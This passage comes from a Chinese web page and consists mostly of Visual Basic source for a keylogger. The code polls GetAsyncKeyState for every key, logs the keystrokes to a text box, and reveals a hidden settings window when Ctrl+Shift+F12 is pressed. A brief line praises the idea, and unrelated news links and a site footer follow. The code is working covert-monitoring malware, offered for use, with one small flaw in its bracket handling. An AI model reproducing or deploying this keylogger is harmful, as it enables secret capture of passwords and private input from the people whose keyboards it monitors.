txtKeyLog.Text = txtKeyLog.Text + "@"

End If

'记录数字3和#号

lngKeyState = GetAsyncKeyState(vbKey3)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "3"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "#"

End If

'记录数字4和$号

lngKeyState = GetAsyncKeyState(vbKey4)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "4"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "$"

End If

'记录数字5和%号

lngKeyState = GetAsyncKeyState(vbKey5)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "5"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "%"

End If

'记录数字6和^号

lngKeyState = GetAsyncKeyState(vbKey6)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "6"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "^"

End If

'记录数字7和&号

lngKeyState = GetAsyncKeyState(vbKey7)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "7"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "&"

End If

'记录数字8和*号

lngKeyState = GetAsyncKeyState(vbKey8)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "8"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "*"

End If

'记录数字9和(号

lngKeyState = GetAsyncKeyState(vbKey9)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "9"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "("

End If

'记录数字0和)号

lngKeyState = GetAsyncKeyState(vbKey0)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "0"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + ")"

End If

'记录退格键

lngKeyState = GetAsyncKeyState(vbKeyBack)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{BackSpace}"

End If

'记录Tab键

lngKeyState = GetAsyncKeyState(vbKeyTab)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Tab}"

End If

'记录回车键

lngKeyState = GetAsyncKeyState(vbKeyReturn)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + vbCrLf

End If

'记录Shift键

lngKeyState = GetAsyncKeyState(vbKeyShift)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Shift}"

End If

'记录Ctrl键

lngKeyState = GetAsyncKeyState(vbKeyControl)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Ctrl}"

End If

'记录Alt键

lngKeyState = GetAsyncKeyState(vbKeyMenu)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Alt}"

End If

'记录暂停键

lngKeyState = GetAsyncKeyState(vbKeyPause)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Pause}"

End If

'记录退出键

lngKeyState = GetAsyncKeyState(vbKeyEscape)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Esc}"

End If

'记录空格键

lngKeyState = GetAsyncKeyState(vbKeySpace)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + " "

End If

'记录End键

lngKeyState = GetAsyncKeyState(vbKeyEnd)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{End}"

End If

'记录Home键

lngKeyState = GetAsyncKeyState(vbKeyHome)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Home}"

End If

'记录方向左键

lngKeyState = GetAsyncKeyState(vbKeyLeft)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Left}"

End If

'记录方向右键

lngKeyState = GetAsyncKeyState(vbKeyRight)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Right}"

End If

'记录方向上键

lngKeyState = GetAsyncKeyState(vbKeyUp)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Up}"

End If

'记录方向下键

lngKeyState = GetAsyncKeyState(vbKeyDown)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Down}"

End If

'记录插入键

lngKeyState = GetAsyncKeyState(vbKeyInsert)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Insert}"

End If

'记录删除键

lngKeyState = GetAsyncKeyState(vbKeyDelete)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Delete}"

End If

'记录;号和:号

lngKeyState = GetAsyncKeyState(&HBA)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + ";"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + ":"

End If

'记录=号和+号

lngKeyState = GetAsyncKeyState(&HBB)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "="

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "+"

End If

'记录,号和<号

lngKeyState = GetAsyncKeyState(&HBC)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + ","

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "<"

End If

'记录-号和_号

lngKeyState = GetAsyncKeyState(&HBD)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "-"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "_"

End If

'记录.号和>号

lngKeyState = GetAsyncKeyState(&HBE)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "."

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + ">"

End If

'记录/和?号

lngKeyState = GetAsyncKeyState(&HBF)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "/"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "?"

End If

'记录`号和~号

lngKeyState = GetAsyncKeyState(&HC0)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "`"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "~"

End If

'记录[号和{号

lngKeyState = GetAsyncKeyState(&HDB)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "]["

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{"

End If

'记录\和|

lngKeyState = GetAsyncKeyState(&HDC)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "\"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "|"

End If

'记录]号和}号

lngKeyState = GetAsyncKeyState(&HDD)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "]"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "}"

End If

'记录'号和"号

lngKeyState = GetAsyncKeyState(&HDE)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "'"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + Chr$(34)

End If

'记录*号

lngKeyState = GetAsyncKeyState(vbKeyMultiply)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "*"

End If

'记录/号

lngKeyState = GetAsyncKeyState(vbKeyDivide)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "/"

End If

'记录+号

lngKeyState = GetAsyncKeyState(vbKeyAdd)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "+"

End If

'记录-号

lngKeyState = GetAsyncKeyState(vbKeySubtract)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "-"

End If

'记录Del键

lngKeyState = GetAsyncKeyState(vbKeyDecimal)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{Del}"

End If

'记录F1键

lngKeyState = GetAsyncKeyState(vbKeyF1)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F1}"

End If

'记录F2键

lngKeyState = GetAsyncKeyState(vbKeyF2)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F2}"

End If

'记录F3键

lngKeyState = GetAsyncKeyState(vbKeyF3)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F3}"

End If

'记录F4键

lngKeyState = GetAsyncKeyState(vbKeyF4)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F4}"

End If

'记录F5键

lngKeyState = GetAsyncKeyState(vbKeyF5)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F5}"

End If

'记录F6键

lngKeyState = GetAsyncKeyState(vbKeyF6)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F6}"

End If

'记录F7键

lngKeyState = GetAsyncKeyState(vbKeyF7)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F7}"

End If

'记录F8键

lngKeyState = GetAsyncKeyState(vbKeyF8)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F8}"

End If

'记录F9键

lngKeyState = GetAsyncKeyState(vbKeyF9)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F9}"

End If

'记录F10键

lngKeyState = GetAsyncKeyState(vbKeyF10)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F10}"

End If

'记录F11键

lngKeyState = GetAsyncKeyState(vbKeyF11)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F11}"

End If

'记录F12键

lngKeyState = GetAsyncKeyState(vbKeyF12)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{F12}"

End If

'当按下Ctrl + Shift + F12时出现系统设置画面

If lngShift <> 0 And GetAsyncKeyState(vbKeyControl) And (lngKeyState And &H1) = &H1 Then

frmMain.Visible = True

End If

'记录NumLock键

lngKeyState = GetAsyncKeyState(vbKeyNumlock)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{NumLock}"

End If

'记录ScrollLock键

lngKeyState = GetAsyncKeyState(vbKeyScrollLock)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{ScrollLock}"

End If

'记录PrintScreen键

lngKeyState = GetAsyncKeyState(vbKeyPrint)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{PrintScreen}"

End If

'记录PageUp键

lngKeyState = GetAsyncKeyState(vbKeyPageUp)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{PageUp}"

End If

'记录PageDown键

lngKeyState = GetAsyncKeyState(vbKeyPageDown)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "{PageDown}"

End If

'记录数字键盘的1

lngKeyState = GetAsyncKeyState(vbKeyNumpad1)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "1"

End If

'记录数字键盘的2

lngKeyState = GetAsyncKeyState(vbKeyNumpad2)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "2"

End If

'记录数字键盘的3

lngKeyState = GetAsyncKeyState(vbKeyNumpad3)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "3"

End If

'记录数字键盘的4

lngKeyState = GetAsyncKeyState(vbKeyNumpad4)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "4"

End If

'记录数字键盘的5

lngKeyState = GetAsyncKeyState(vbKeyNumpad5)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "5"

End If

'记录数字键盘的6

lngKeyState = GetAsyncKeyState(vbKeyNumpad6)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "6"

End If

'记录数字键盘的7

lngKeyState = GetAsyncKeyState(vbKeyNumpad7)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "7"

End If

'记录数字键盘的8

lngKeyState = GetAsyncKeyState(vbKeyNumpad8)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "8"

End If

'记录数字键盘的9

lngKeyState = GetAsyncKeyState(vbKeyNumpad9)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "9"

End If

'记录数字键盘的0

lngKeyState = GetAsyncKeyState(vbKeyNumpad0)

If (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "0"

End If

End Sub

这个程序没有多少难度,就是一个好的创意。希望大家也能有一些好的创意。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有